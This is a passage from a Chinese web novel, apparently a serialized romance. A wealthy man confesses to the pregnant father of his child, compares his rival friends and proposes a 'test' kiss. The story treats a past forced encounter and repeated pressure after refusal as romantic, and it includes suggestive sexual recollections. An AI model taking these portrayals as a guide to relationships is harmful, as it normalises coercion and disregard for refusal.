说着,霍岭生薄薄眼皮下的清冷眼眸扫了一眼还傻傻站着的另一位发小。 祁焰红着脸,虽然觉得自己今天很无辜,可当前的状况再待下去保不准阿延又会给自己一拳,说不定下手会更狠。 他跟着离开了之遇哥的家。 走出门,越发觉得自己委屈。 明明是他们烧起来的战火,为什么非要连累上自己。 他只是想拍个视频而已。 对了,视频! 祁焰连忙打开手机,翻到相册。 啊啊啊,刚才发生了那么混乱的事情,他想拍的之遇哥根本没有拍到! 这段视频内容也糊成了一团。 祁焰心里很是忧伤。 他语气失落地喃喃道:“你说,之遇哥会答应阿延的告白吗?怎么说也是孩子的生父,万一之遇哥念在孩子的面子上心软了呢?” 前方清冷的身影似是怔了几秒,脚步也微微有些停顿。 霍岭生脑海里回放着刚才男人的手捂住发小嘴的画面。 那么近的距离,他的手覆在自己手背上会有一种细细刮蹭的感觉,激起微弱的电流,让他的手和心都痒痒的。 不知道磨到嘴唇上是什么样的触感。 霍岭生眸色一瞬幽暗,不显情绪的清冷面上竟也掠过一抹不耐和燥意。 “你不说话没人把你当哑巴。” 祁焰:“……” 三个人走后,屋子里终于再没有别人了。 江之遇大脑依旧混乱着,过了许久,才反应过来屋子里就剩下了他和昭昭小叔。 这是比有人在更让江之遇感到不自在的时刻,之前每次和这个男人独处时,他都有一种周围的空气被攫取,连空间都被挤压的感觉。 别提现在这个男人刚对自己表过白,说想亲他抱他。 他不是没被他亲过抱过。 准确来说根本不是亲,更像是在他口中肆掠。 他稍一反抗,男人就会惩罚一般咬他嘴唇,吸他舌头。 江之遇到现在都记得那种被吸噬的头皮发麻的感觉,最后舌头变得失去了神经一样,他让自己伸过去就伸过去。 因为不听他的话,这个男人就会更凶地对待自己。 他抱自己也不是抱,而是把他托起,抵在门上,手臂上浮动着可怕的青筋,像是要把自己钉在他身上。 江之遇一个激灵。 不知道为什么会勾起这样的回忆。 他只知道今天受到的冲击有些多,他不知道怎么应对眼前这个男人了。 江之遇张了张口,想说点什么。 而这时,他听昭昭小叔开口问:“你中午打算吃什么?我帮你摘菜洗菜。” 江之遇:“?” 他茫然了一瞬,告诉他:“黄瓜小炒肉。” 谢津延便二话不说去菜园里摘黄瓜。 之后,两人一起做了饭,吃了午饭。 吃完饭,江之遇被让先去睡午觉。 他感觉大脑晕晕乎乎的,很是混乱,又很意外。 他以为霍少爷黎少爷那群人走后,他们之间第一件要解决的事情便是刚才昭昭小叔突然说喜欢他,后悔在协议单上签字的事。 尽管自己还不知道要怎么应对他。 江之遇睡了个极其不安稳的午觉,脑子里有很多事,被冲击的余波让他根本停止不了大脑迟钝地转动。 可是孕期带给他身体上的反应和嗜睡症状又让他很快撑不住眼皮。 结果就是,他这次午睡睡了快两个小时,全程不断在做梦。 先是又梦见宝宝了。 接着山脚机械响动声停下,缆车和悬崖电梯建好,他和宝宝一起坐着缆车在空中快乐地飞过。 然后是小肚子上传来有些凉凉的被什么东西挤压的感觉。 黎少爷扬着桃花眼,问他想不想给孩子重新再找一个父亲。 还有霍少爷意味不明的眼神,像藏着暗流的深湖,突然将自己拽进冰冷的湖底。 湖底一片漆黑,水草像从四面八方缠过来的水蛇一般将他从手到脚缠裹住。 他产生了溺水的感觉,呼吸困难,肺部也像被挤压了一样。 只看到头顶远远悬着一轮太阳,祁少爷那总是像夏日烈阳般帅气的脸浮动在水波荡漾的湖面。 他冲自己笑。 随后脸部像着了火一样,火光在湖面蔓延开。 江之遇觉得自己快要溺毙了,在他一点一点往湖底坠下的时候,嘴唇忽然被含住。 熟悉的气息过渡到口腔,他像渴水的鱼获得新生一样,疯狂攫住这丝氧气。 然后等他感到可以呼吸,好似活过来的时候,含住他舌头的人俊逸五官在眼前放大。 漆黑的眸,薄唇挑起似笑非笑的弧度,在他唇瓣上撕咬了一下,更像是舔.弄。 “你是说这种喜欢也是搞错了?” 江之遇一下子醒了。 醒来,感觉额头汗水涔涔的。 他茫然地坐在床上,揪着被子。 午后,他的小院安逸静谧,能听到窗外树枝上的鸟叫和远处山底机器的声音。 江之遇脑海里还浮现着刚才梦中的画面,唇瓣和口中呼吸清晰。 他一时分不清上午发生在工具室里的事和梦里的景象到底是真是假的,还是一切都只是一场虚幻的梦境。 过了许久,他听到卧室外面好似有人压低声音在打电话,听不分明,但江之遇几乎是下意识就认定是昭昭小叔在处理公司的事。 他呆了呆。 随后又看到自己的卧室房门落了锁。 他没有锁门的习惯,甚至有时候还会开着门,这会儿注视着紧闭的房门,想到昭昭小叔早上离开前叮嘱自己关门锁门的话。 没想到才过了半天不到,他就这样做了。 也是这个时候,江之遇才依稀反应过来昭昭小叔的本意不是让他防盗贼和小偷,而是防昭昭小叔自己。 他该不会真趁自己睡着亲自己了吧? 不然那种舌头被吸的发麻的感觉怎么那么熟悉清晰? 还有放大在自己眼前的俊逸五官。 可是,这座屋子里所有房门的钥匙又只有他一个人有。 江之遇耳根一热,拍了拍自己的脑袋,努力驱散脑海中这些又吸又吮的画面。 被他们这些人尤其是昭昭小叔弄的,江之遇觉得自己都变得奇怪了。 他换了身衣服,收拾好床铺下了床。 手心握上卧室门把手的时候,整个人顿住。 因为江之遇还没想好要怎么应对门外的人。 他怎么不回公司啊。 江之遇这时候特别想念养子,要是昭昭在就好了。 昭昭在的话他就不用自己一个人面对那个男人。 江之遇在房门前站了许久,最后觉得总是要面对的,不行就告诉对方自己不喜欢男人。 虽然他和男人做了那种事,这个世界男人也可以和男人相恋,可他一直都是直男没错,不能接受对方的心意。 而且他们还是昭昭养父和昭昭小叔的关系。 这样想着,江之遇硬了硬头皮打开房门。 昭昭小叔果然在办公,被临时当作办公桌的方木桌上摆着他每次来这里都会带回来的办公电脑、平板等各种办公设备。 除此之外,还有很多文件。 如果不是自己这屋子简陋,上午和他短暂通了会儿视频通话,粗略看了眼他会议室的景象,江之遇还以为昭昭小叔把办公室搬来了自己这里。 “真是的,这么忙还要专门飞过来打自己的好朋友一顿,还有时间和别人表白……” 江之遇忍不住咕哝一声。 他这声小声嘀咕恰好被谢津延听到了。 男人从方木桌前转过头,漆黑眼眸朝他看来。 江之遇身形一僵,站在原地,有种之前被什么钉住的熟悉错觉。 “你过来看一下。”男人冲他招招手,电脑屏幕对向他。 “这是我从小学到大学毕业的全部履历,还有我的个人资料及家庭背景以及当前我所掌管的谢氏集团所拥有的全部股份和资产明细。” “你给我看这些做什么?”江之遇一脸茫然地走到电脑前,被他胳膊不动声色揽住,在椅子上坐下。 谢津延却没回他,只修长手指滑动鼠标,让他看电脑上的内容。 江之遇一脑袋问号,却还是好奇地看过去。 于是便看到眼前的电脑屏幕上哗哗哗翻过许多页面。 江之遇一直都知道谢家是北城百年基业的豪门大家,资产遍布全世界。 然而当他看到昭昭小叔给自己展示的,才知道自己的想象有多贫乏。 他看到数不清多少0的数字在眼前纷飞。 豪宅、游艇、私人飞机、古董等眼花缭乱的图片在眼前一幕又一幕闪现。 还有他看不懂的乱七八糟的股权和权利构架图,一直名列前茅的成绩单,许许多多奖杯。 还夹杂着几张应该是大学军训还有打篮球时什么人偷拍的照片? 之所以这么认为,是因为江之遇看到那几张照片拍的有些糊,视角拉的比较远。 但尽管如此,依旧掩盖不住的照片上的人浑身散发的致命吸引力。 甚至因为朦胧的视角,显得他整张侧脸特别优越帅气。 依旧拽着张冷脸,眼皮微微撩起,神色淡漠,有种什么都进入不了他视线的漫不经心和疏离。 但面部线条没有现在这么锋利,周身的气场也没有那么压迫人。 而且因为是学生时代,看上去只有十八九岁的样子,身上多了种江之遇从来没见过的青涩和少年气。 这是江之遇从来没有见过的昭昭小叔。 他视线在这几张照片上停留了几秒,被男人翻过。 说是宋秘书整理资料不知道从哪里找来的误放了进去。 江之遇迷惑了瞬,没去想他这话的真实度,就又见他给自己翻起了家谱。 他告诉自己他们家的人都是比较深情的人,认定一个人就会从一而终。 他父母是,大哥大嫂也是。 “我大哥大嫂是从小一起长大的青梅竹马,是彼此的初恋和结婚对象。我父亲看到我母亲第一眼,就打算把她娶回家,他后来也做到了,追了我母亲很多年。” “你为什么要告诉我这些?”江之遇很为他家人的爱情故事动容,甚至他大哥大嫂的事自己暂住在谢家那段时间听谢家的佣人们提起过。 感情很好,让人羡慕的一对夫妻。 只可惜…… 江之遇垂下眼眸,心里有些难过。 为这样一份动人的感情,也为他失去亲生父母的养子昭昭。 江之遇听昭昭小叔讲述的他大哥大嫂的爱情,打算以后要对昭昭更好,弥补昭昭缺失的父母的爱。 可他还是不懂眼前的男人为什么要给自己看这些。 而这时,他看昭昭小叔又打开一份文件。 同样是一份分析表格,列举了许许多多的事项,他一时看不太清。 只目光被文件上粗大醒目的标题吸引—— 《关于我与三位发小谁更适合你的条件对比和优势分析》 江之遇:“???” 江之遇睁了睁眼眸,没太理解这个标题的含义,以及他怎么会弄出这种文件。 “你、你到底要做什么?” 江之遇觉得自己的大脑又转不动了。 他今天是怎么了?为什么会遇到这么多奇奇怪怪让他感到费解的事。 然后就见男人握住他的手,漆黑眼眸直直看向他的眼睛,嗓音低敛,又似是带了份低落和委屈。 “我不想以后我的孩子叫别的男人爸爸,也不想你给宝宝找个后爸。” 第55章 第 55 章 和我亲 给宝宝找后爸? 江之遇隽秀面庞上的表情怔愣了一瞬, 随后反应过来什么,涨红了脸:“谁跟你说我要给宝宝找后爸了。” 而且为什么是后爸,就不能是后妈么。 他就一定要和男人搅合在一起吗。 江之遇在心里咕哝。 不对, 问题是他压根就没有想过这个问题。 谢津延听他没有要给宝宝找后爸的打算, 眉目稍稍舒展开, 却还是没忘记黎清叙临走前说的那番话。 “但是万一哪天你有这个想法了?总不能让孩子以后处在单亲家庭中, 要是他也像别的小朋友那样渴望双亲的爱, 你要怎么做?” 渴望双亲的爱, 单亲家庭? 江之遇懵了下,有些被问住。 他没想过这种问题。 因为他自己是被从小遗弃的,没有父母, 没有完整的家庭,收养他的老爷爷又很快过世, 他没有在一个有父有母, 和谐完整的家庭中长大。 觉得自己一个人带宝宝就可以,只要自己给足宝宝所有的爱, 宝宝一定可以健康快乐地成长。 可是……真的会这样吗? 江之遇秀气的眉头拧了拧。 不可否认, 小时候很多次看到村里别的小朋友被爸爸妈妈喊回家, 即便被唠叨,被用小树杈在院子里追着骂为什么要调皮捣蛋,他心里也是羡慕的。 因为他连这样的机会都没有。 江之遇一时不知道要怎么回答昭昭小叔的话。 他的迷茫和纠结被谢津延看在眼里。 谢津延道:“我知道我们两个人是意外,那天晚上是我不对,我不应该控制不住强迫你, 但是现在已经没有回头的余地了, 你想把宝宝生下来,而我喜欢你,或许我们可以认真考虑一下这个问题。” “你能不能不要总是把喜欢这样的字挂在嘴边……” 江之遇还是没能从今天的冲击中缓过神, 被男人告白,又被男人张口闭口说喜欢。 这个男人还是他养子的亲小叔,江之遇总感觉很不自在。 谢津延沉默一瞬:“好,我不说了,既然你想要这个宝宝,而我又对你抱有异样的心思,那天在包厢太过意外和突然,你走得又匆忙,我们其实有很多事情都没来得及谈,现在能不能都冷静下来谈谈这件事。” “怎么谈呢?”江之遇听这声异样的心思,感觉更奇怪了。 谢津延道:“你也看到了,现在除了我,我的三个朋友也对你不怀好意。” “等等,”江之遇忍不住打断他,磕磕绊绊地问,“你、你怎么确定你的朋友也对我有那种意思,我又不是什么香饽饽,人人都喜欢,你会不会又搞错了。” 谢津延又沉默了一瞬,告诉他:“因为我们是从小一起长大的,比任何人都要了解彼此,他们看你的眼神和我太像了,都是男人,我清楚他们心里在想什么。” “你看我什么眼神?”江之遇想起上午他给自己打视频通话找文件的时候也说过这样的话,下意识又疑惑问了句。 问完,有些后悔。 因为他觉得自己已经能预料到对方要说什么。 果然,江之遇说完这句话,就见眼前男人顶着一张冷厉矜贵的脸,像之前在卫生间撞见他做那事一样,用喝水谈天气般四平八稳的语气说着令人无比羞耻的话:“想亲你抱你,把你按在墙上。” 江之遇:“?” 江之遇一下子从椅子上站起,杏眼睁大,写满了震惊和不可置信。 怎么除了想亲他抱他,还多了一个想按他? 把他按墙上? 是像那天晚上被他按在墙上那样折腾吗? 江之遇感觉脑门冲上一股热气,耳根红得快要滴血,舌头也好像打了结,都不知道自己要说什么。 最后纠纠结结半天,在脑海里措辞了许久,也只羞愤地问出一句:“你、你什么时候有这种想法的?” 谢津延面色平静道:“上次在水池边你说我凶的时候。” 还有更早之前,就想把他抵在一个狭小的空间,看男人像无处可逃的小动物一样,露出受惊又隐忍难耐的表情。 江之遇整个人都呆住了。 努力回忆男人口中说的事。 是说陪他一起去找乡长,路过有会啄人的大鹅的池塘边,被他抵在树干上问自己他给人是什么感觉那次? 江之遇眉头纠结。 现在回想,那天昭昭小叔是挺奇怪的。 把自己抵在树上后压得很近,有一瞬间江之遇能感觉到他的视线落在自己唇上,化作实质一般,在唇瓣上摩挲逡巡。 那么近的距离,呼吸炽热。 江之遇真怕他一低头,嘴唇就和自己磕碰到。 还有一种被睡梦中粗壮藤蔓缠住的禁锢感。 原来不是自己的错觉。 江之遇大脑轰轰的,热气直往头顶上涌。 没想到这个男人一脸矜贵淡漠,看上去又冷又拽的,内心竟然这么、这么…… 江之遇一时都找不到合适的词汇来形容他。 只抿了抿唇,闭紧嘴巴,不敢再问什么,生怕从这个男人口中又蹦出什么让自己招架不住的话。 两人陷入了一时的静默。 最后,谢津延伸手捞住他重新在椅子上坐下:“你别担心,我只是心里想想而已,不会真的对你做什么,我自制力很强。” 你自制力很强? 自制力强,那天晚上就不会一而再二而三地把他拖回身下。 自制力强,就不会火气那么大,动不动就起反应,在卫生间一纾解就是大半天。 江之遇被他有力的手臂箍着,忍不住又想站起来。 谢津延扣住他的腰:“我们来继续谈宝宝未来爸爸的事情吧。” 江之遇一听宝宝的事情,又挣不开,只好在椅子上坐稳。 他这种又羞又怯,还又挣脱不开,只能被迫缩在自己身边的模样看得谢津延心念又是一动。 谢津延万幸自己今天赶了回来,及时赶走发小们,弄明白自己的心意。 不然不敢想象被他这几个居心不良的朋友们抢占先机会是什么样的后果。 谢津延行事风格就是这样,一旦明确目标就会快速出手,不拖泥带水,无论用什么样的手段都无所谓。 而且在他看来,分毫分秒之差就会延误各种时机。 所以无论如何,谢津延在已经明确了心意,知晓这段时间种种心绪波动的缘由是眼前这个男人。 他从这一刻起,再也不会做那个大雨滂沱的雨天,在协议单上签字放这个男人离开这样让自己后悔的事。 谢津延于是问道:“你是不是很喜欢这个宝宝?” 江之遇偏了偏头,看到他离自己很近的侧脸:“那当然,这是我肚子里的宝宝,我当然很喜欢。” 谢津延:“……” 谢津延:“那你以后一定想给宝宝特别幸福美满的生活对吗?” 江之遇:“那还用问吗?” 哪个父母不是这样对自己的孩子? 不对,他的爸爸妈妈不是…… 不过也许他们有什么苦衷也说不准,不是故意要遗弃他。 好吧,江之遇很难说服自己。 谢津延认真道:“这样的话,光靠你一个人可能有些辛苦。因为研究表明,双亲家庭比单亲家庭的孩子更容易获得幸福感,对孩子的成长也更有利,尤其是父母感情好,家庭氛围和谐的情况下。” “我知道。”江之遇怎么能不明白这些道理,“可是……” 话未说出口,就见昭昭小叔把刚才那份标题写着关于他和发小怎样怎样对比的文件放大到自己眼前。 随后说道:“所以我准备了这个,你看一下。” 谢津延将第一份对比罗列在男人面前:“黎清叙,高智商研究型人才,上学时期跳级跳不断,有他在,孩子的功课一定没问题。但我的智商也不差,除了上次和你说的诗朗诵比赛是个意外,其他时候一直都是名列前茅。” 江之遇茫然:“啊,我看到了,你刚才给我看过好多奖状和奖杯,还有幼儿园的小红花。” 谢津延嗯了声:“所以虽然黎清叙智商很高,但他人比较花心,常常招蜂引蝶,上学时期从来不拒收情书,我就一封都不会收,和黎清叙这样的人在一起以后肯定会很辛苦,对孩子的影响也不好,说不定会早恋。” 早恋? 江之遇拧了拧眉,没太跟得上昭昭小叔跳跃的脑回路。 智商和花心有什么联系吗? 而且他肚子里的宝宝还没出生,怎么就扯到早恋了? 他张了张口,有许多疑惑要问。 可是昭昭小叔又打开了第二份比对:“霍岭生,和我同龄,上学时也一直同班,连身高都一样。我承认岭生是一个很优秀的人。” 这是让谢津延挑不出毛病的一位发小:“成绩优异,品格端正,身上几乎没有一丝缺点。” 曾经谢津延一直和这位发小争第一第二,他们被并称为学校的双子星,彼此之间竞争却从不影响兄弟情分。 然而…… “岭生性格有些沉闷,比我还闷,和这样的人待在一起会比较无趣。” 最重要的是,岭生家的情况太过复杂。 谢津延无意审视发小的家事,可像男人这样小白兔的性子,到了那里无意于羊入虎口,被拆吃的骨头都不剩。 而且霍伯父又是道德底线那么低的一个人。 谢津延眸色暗了暗:“总之岭生最不适合你。” 江之遇:“我……” “还有祁焰。”谢津延打开第三份比对,“他家各方面倒是很好,家庭氛围和谐,从政人员较多。祁焰也没有不良嗜好,就是有点笨,成绩常年吊车尾,没办法给孩子做课业辅导。” “主要是他太幼稚了,只能当弟弟,不能当老公。” “你不也没比祁少爷大多少,你就适合当老公吗……” 江之遇小声嘀咕。 “你说什么?”谢津延这次没听太清。 江之遇的脸一直就没有褪下去热意:“我是说、我是说你为什么要跟我说这些,我又没说要给宝宝找后爸。” 谢津延心情变得十分愉悦:“我只是让你看清,如果哪天你改变想法,你身边的这些男人并不合适。” “可是……”江之遇拧了拧眉,终于插上去话,“就算是这样的话,我为什么一定要在你们几个当中找?我就不能给宝宝找个后妈吗?” “给宝宝找后妈?”谢津延凌厉分明的五官掠过一瞬诧异。 江之遇硬了硬头皮:“是啊,其实我刚才一直想告诉你,我不喜欢男人,是个直男。” 得知自己怀孕后,江之遇查了许多这个世界的信息,知道取向不是男人的统称为直男。 江之遇在原来的世界没结过婚,也没有遇见过喜欢的女孩子,但他觉得自己是直男没错。 “你……不喜欢男人,直男?”谢津延听了这句话,先是一怔,随后神色有些怪异。 江之遇点点头:“如果不是这个意外,我都在存钱娶老婆了。” 还要存钱娶老婆? 谢津延面上的表情一时变了又变,最后神色有些冷凝,刚才舒展开的眉头迅速拧在一起。 他薄唇抿成一条直线,整个人陷入了沉默当中,黑眸微微闪烁,酝酿着江之遇看不懂的晦暗情绪。 江之遇不知道他在想什么。 可是,憋了大半天不知道怎么回应昭昭小叔的告白终于找到了理由。 江之遇其实舒了一口气。 尤其是还牵扯到他这几个朋友。 江之遇打算告诉昭昭小叔,他不会给宝宝找后爸的,因为他不喜欢男人,也压根没想过这个问题。 却见男人漆黑眼眸凝在自己的脸上,低沉嗓音开口道:“你怎么确定你是直男,不喜欢男人?” 江之遇:“?” 江之遇愣了愣,被他问懵了。 “我、我……” “我记得那天晚上你反应很大,很敏感,我一碰你,你就受不了,一直抖个不停。” 江之遇睁大眼眸,花了很长时间才弄明白男人说的是什么。 他脑海里一瞬间闪过无数羞耻的画面。 掐他腰窝,腿掰起。 江之遇以前都不知道人体极限会这么大,觉得自己的身体都要被折成两半。 抬眼,就是昏沉光线下的一团泥泞混乱。 坠着淋漓汗水的俊逸五官,窗帘大开,酒店外面的灯光落了进来,还有雨过天清后露出云层的一丝皎皎月光。 江之遇就是借着这些光亮,撑着眼皮,手指插进他发丝,想推开他。 可很快就没了力气。 身体也激出了一阵又一阵奇怪陌生的感觉。 像在砧板上跳动的鱼,凭最后一点本能和知觉挣扎几下。 江之遇的脸烧得火热,努力为自己分辩:“那是因为我是个正常的男人,你就是对头猪这样又吸又掐又舔,它也不会一点反应都没有,说不定还会用猪蹄踢你。” 谢津延:“……” 谢津延一时神色古怪,脸上的表情变化莫测。 江之遇见他似乎陷入了某种怔愣,连忙趁机掰开他箍在自己腰上的胳膊起身悄悄离开方桌前。 宋秘书在这时打过来电话:“谢总,今天还有一个重要的会议。” 谢津延:“你帮我连线,尽量快点结束,我还有重要的事情。” 宋秘书:“好的。” 下午,江之遇就把自己锁在木屋里做木工,修复摔断脖子的长颈鹿,努力转移自己的注意力,不要被今天昭昭小叔还有他的几个朋友影响。 不过总是不能像之前那样全神贯注,毕竟冲击太大了。 他长这么大,还是第一次被男人告白,这个人和自己的情况太复杂,第一次见面就发生了那样的关系。 一开始,江之遇还能当作是一个意外,男人和男人之间闹出的丢人的玩笑事,他也当被棍子捅了一晚。 可后来发现不是这样,男人真的能和男人干那事。 他还因此怀孕了。 最重要的是,让他怀孕的这个男人是自己找了好久的养子的亲小叔。 男人当初一副骄矜淡漠,不愿和自己有半分牵扯的样子,也在那份断绝关系的协议书上签了字。 现在却跑来乡下告诉他,他喜欢自己。 对自己有那种想亲想抱的想法,分明他不止一次对自己说过对男人没兴趣。 尤其是他还说他的三个朋友也对自己有奇怪的想法。 江之遇觉得不可思议,很是混乱。 他一个乡下人,和这些金尊玉贵的少爷们天差地别,他们怎么可能会喜欢自己? 何况他还怀了孕,带了孩子。 江之遇实在不理解昭昭小叔的脑回路。 心情很乱地修复好小鹿,天色已经降了下来,窗外收进的一方夜幕上挂了几颗疏散的星星。 江之遇知道昭昭小叔还在外面办公,没回公司。 他踌躇了片刻,还是出了门。 要吃晚饭了,他还要给笼子里的垂耳兔喂东西吃,不能饿到小兔子。 这样想着,江之遇走出工具室。 昭昭小叔一直叮嘱自己离他的朋友们远一些,说那些人不怀好意,可明明他自己才最可怕。 出去的时候,昭昭小叔还在开视频会议,之后一个电话接一个电话没有停。 中途乡长有事过来找了他一趟,两人一起去了山下正在建设的工程部。 回来时又比较晚,不过这次是在自己睡觉之前,墙上挂钟的指针还没有指向九点。 江之遇给他开了门,看月色下一个高大俊拔的身影。 身姿站立如松,忙碌一天,面容不显疲惫,西装依旧整洁,还是一副惹眼的帅气模样。 “你不是说以后尽量晚上不打扰我了吗?” 江之遇看着门外的人,没忘记他早上说的话,这才一天不到,就没有遵守。 谢津延拂去袖子上细小的尘灰:“因为还有重要的事情要做,我今天不能离开。” “什么事?”江之遇很是纳闷。 对方却没回,而是吃了点自己给他留的晚饭就去了卫生间。 等洗完澡,换了身干净的睡衣出来,他敲响自己卧室的房门。 “你下午说我那样对你,即使是头猪也不会没反应的说法我思考了一下,有道理。” 亮着橙润灯光的屋子里,男人高大颀长的身影立在自己的卧室房门前。 洗去一天奔波,他身上木质沉香的味道淡了些,沾上自己家草木清香的沐浴露的味道。 总是打理得一丝不苟的黑色发丝垂下,被毛巾揉得有些散乱。 面部轮廓被橙润灯光照出柔和的弧度,倒有点江之遇下午不经意在他电脑上看到的那几张十八九岁照片上的青春年少时的模样。 江之遇不明白他洗完澡为什么要到自己房门口说这样一句话。 更没想到他还会思考这样的问题。 他的脑子到底在想什么? 为什么能一心这么多用。 江之遇十分不能理解,也佩服他的精力。 “所以呢,你想要说什么?” 谢津延垂眸看他:“所以我想向你道歉,不应该用这样的方式给你下是不是直男的定论。” “哦,我没在意。”江之遇没想到他专门找自己是为了这种事。 只要不是再跟自己比较他和他的三个朋友谁更适合当宝宝的后爸就行。 “不过我还有一个证明方式。” 忽然,江之遇听他开口说。 “什么?”江之遇迷惑地眨了眨眼。 谢津延:“人会屈从于身体的生理反应,迫于某些无奈的因素,直男在某些特定的情况下也会有感觉,但亲吻不会。” “如果一个人是直男,必然会厌恶同性之间的亲吻行为,会本能地排斥和抗拒。” 江之遇还是不懂他为什么要给自己说这些,怎么就开始说起直男不直男的问题了。 “你可不可以说话直白一点,我听不太懂你要表达什么。” 江之遇想着要是有一天大家说话不要拐弯抹角,让人难以揣摩就好了。 然后就听眼前的男人正着一张脸对他道:“我的意思是,你和我亲一下试试,看会不会有排斥反应,这样就能确定你是不是直男了。” 第56章 第 56 章 关于我是孩子亲爹却给孩…… 亲……亲一下??? 江之遇有一瞬间以为是自己听错了, 整个人愣住。 然后努力从他薄薄的唇形中试图分辨这句话是不是从他口中说出来的。 最后得出的结论是,就是这个男人说的。 江之遇脸上迅速爬了层红晕,他面上皮肤白净, 染上一点绯色就会十分显眼。 别提这样大片的红铺开, 从脸颊蔓延到耳垂, 再爬到修长漂亮的脖颈。 像在皑皑雪地上一路绽开的艳丽的花。 他闭了闭眼, 语气很是羞敛磕绊:“我、我为什么要和你亲试试, 还有, 我为什么一定要确定自己是不是直男?” 柔和光线下,谢津延深挺眉骨被抹去一点锋锐,发丝散乱几缕, 垂在眼睫,漆黑眸子没有那么深不可测。 语气平稳正经:“这样你就可以判断以后是给孩子找一个后妈还是后爸。” 谢津延:“如果你是直男, 我放手, 任凭你以后给孩子找后妈,我不纠缠你, 只要她对宝宝好。” “可是……”他垂了垂眸, “如果你对男人不是没有感觉, 可不可以给我留一个位置?我毕竟是宝宝的亲生父亲,就算你一时接受不了我,也可以把我当作后爸备选,我不介意给宝宝当后爸。” 自己当自己孩子的后爸? 江之遇听到这一句,大脑宕机了几秒, 感觉又开始听不懂他说的话了。 他努力去捋这句话的含义:“你说自己给宝宝当后爸是什么意思?” 就见眼前的男人垂敛起眼眸, 柔和的灯光在他眼睫拓下一小片影子,他黑眸中的情绪也看不分明。 “因为我已经在协议书上签了字,遵照约定, 我现在和你肚子里的孩子没有任何关系,所以只能竞争后爸当了。” 江之遇:“……” 江之遇隽秀的眉头拧了又拧,勉强被他这个总觉得哪里不对劲却又找不到漏洞的怪异理由说服。 “可我还是不能和你试……”他红着脸。 谢津延:“为什么?” 江之遇垂下眸,用手指不自然地去捏自己的衣角,小声道:“你是我养子的小叔,昭昭喊我爸爸,叫你小叔,谢老夫人说了,让我们俩当兄弟,如果我和你那样,我们之间就是、就是……” “乱.伦?”谢津延语气波澜不惊道。 江之遇抬头,睁大眼睛:“你怎么说出来了?” 谢津延唇角扯起上扬的弧度,撩起眼皮:“又没有血缘关系,就算有,我们也已经乱过了,连孩子都有了。” 江之遇:“?” 江之遇瞪着他,一脸震惊的表情,半天不知道作什么样的回应。 最后憋红着脸把他从自己面前推了推,他怎么总喜欢挨自己这么近。 “我不和你说了,也不想和你试,这么晚了,我们都去睡吧,孩子后爸的事情以后再说。” 江之遇快速关上卧室的房门。 “砰”一声,木门将羞愤慌乱的身影遮掩。 淡淡草木清香的余温撩过鼻尖,谢津延黑眸盯着将他关在外面的房门,驻足良久。 好像有点麻烦…… 但这个晚上,谢津延心里不再烦躁,那种被什么挖空,怎么也填不满的空洞和空虚好像找到了填堵的方式。 在熟悉洁净的床铺和悦耳的虫鸣声中,他鼻尖浮荡着清浅的草木清香的味道,连着昨日的彻夜未眠,睡了一个特别好的觉。 第二天清晨,他早早醒来,按照食谱和教学视频新学了份早餐。 他学东西快,很多时候只有想做与不想做的区别。 诗朗诵和上次的夸赞例外。 于是等江之遇睡醒从卧室出来的时候,便再一次在厨房看到这道围了小熊围裙的高大身影。 树影轻轻摇动,从厨房阳台吹进来的细微的风捎来一阵薄荷的清香。 江之遇只看背影,就能感受到他心情似乎很愉悦。 和昨天早上那种自己都能感受到的焦躁和不安完全不一样。 他的身影融在清晨明透的光影里,身姿都惬意松散。 可是,他好了,自己好像不太好。 一想到他近日种种奇怪的行为,从一开始带着昭昭跑来乡下,到总是和他的朋友们针锋相对。 再到一独处时就挤塞怪异的氛围,都是因为对自己有那种心思,江之遇就耷拉起了脑袋,内心很是纠结。 因为他有点不知道怎么面对他,昨天说了拒绝好像也没用。 他还要和自己亲,验证自己是不是直男。 怎么只过了一天自己的生活就发生了这样翻天覆地的转变? 江之遇想不明白。 他望了眼厨房的身影,转身去卫生间洗漱。 泡沫在口中绽开,他看着洗手台上多出来的牙膏牙刷,洗漱杯。 浴室里给男人准备的专属毛巾,鞋架上之前在集市给他买的拖鞋。 还有厨房多出来的碗筷,晾衣架上给他买的打折的睡衣,已经成了他另一个居所的养子曾经的卧室。 他之前用登机箱装过来的他大哥大嫂的孕百科全书,给自己买的尺码刚好合适的孕夫鞋。 笼子里的垂耳兔,阳台上那盆漂亮惹眼的兰花。 一千五百万吗? 江之遇都不知道还有这么贵的花草,还真以为是他150块钱买来的。 好像不知不觉,这间屋子里到处都留有了这个男人的痕迹和气息。 他平凡平淡的生活被他打破,被他以陪小侄子的理由强行挤入。 屋子里的空间被他一点一点填塞,现在又颠覆,彻底让江之遇混乱了。 最奇怪的是,江之遇好像找不到将他从这里赶走的理由。 再不愿意承认,这个男人始终是自己肚子里宝宝的亲生父亲。 还有一层养子的关系,他昨晚还说要竞争当宝宝的后爸。 亲爹当后爸。 哪有这样的…… 江之遇怔怔地刷着牙,口腔被绵密的泡沫包裹,他又想到那句反正已经乱过,孩子都有了。 镜子里映出他一张有些红的脸。 江之遇吐掉口中的泡沫,快速刷完牙,用冷水拍自己的脸,驱散脸颊上的热意。 因为除了这些让他无法招架、不知道怎么回应的话语,江之遇发现自己也有点习惯屋子里多出的这个人影。 不知道是不是因为他自己一个人生活久了…… 他只用冷水冲完脸擦干。 走进堂屋。 昭昭小叔已经往方木桌上摆了早餐。 现在基本上只要这个男人在,就会在厨房对照着食谱自己学做饭。 江之遇想到昨天早上好像也是这样,他还那么自然地去咬他筷子夹过来的培根卷。 现在想想,他们过于亲密了。 “你起了,快过来吃饭。” 听腔调果然是愉悦的。 江之遇在餐桌前坐下。 早餐是他熬的南瓜粥,还有鸡蛋面,蔬菜豆腐汤,以及一盘营养丰富的水果。 江之遇用勺子舀了碗粥,又吃了口鸡蛋面。 好吧,怪不得男人上学时期能拿那么多奖状和奖杯,无论哪科成绩都名列前茅,这个人确实做什么都厉害。 他心不在焉地吃着男人做的早餐,感觉大脑依旧乱乱的。 忽然,唇角传来一片温热的触感,比他体温高一些的热意触上唇角的皮肤。 指腹细细摩挲,几根修长手指握住他的下巴,挤出唇角和脸颊上的一点软肉。 江之遇从餐桌前弹起身。 没忘记这样修长如艺术品一样的手指曾经怎样搅弄过他的舌头和口腔。 “你一大早的干什么?” 谢津延手指顿在半空,冷峻面庞上的表情有片刻怔愣。 他视线凝在男人受惊小兔子一样的绯红面庞上,又垂眸看了眼抹在指腹上的粥粒。 “我看你吃饭好像在走神,勺子好几次捅到了嘴角上,脸颊上糊了粥。” 江之遇:“……” 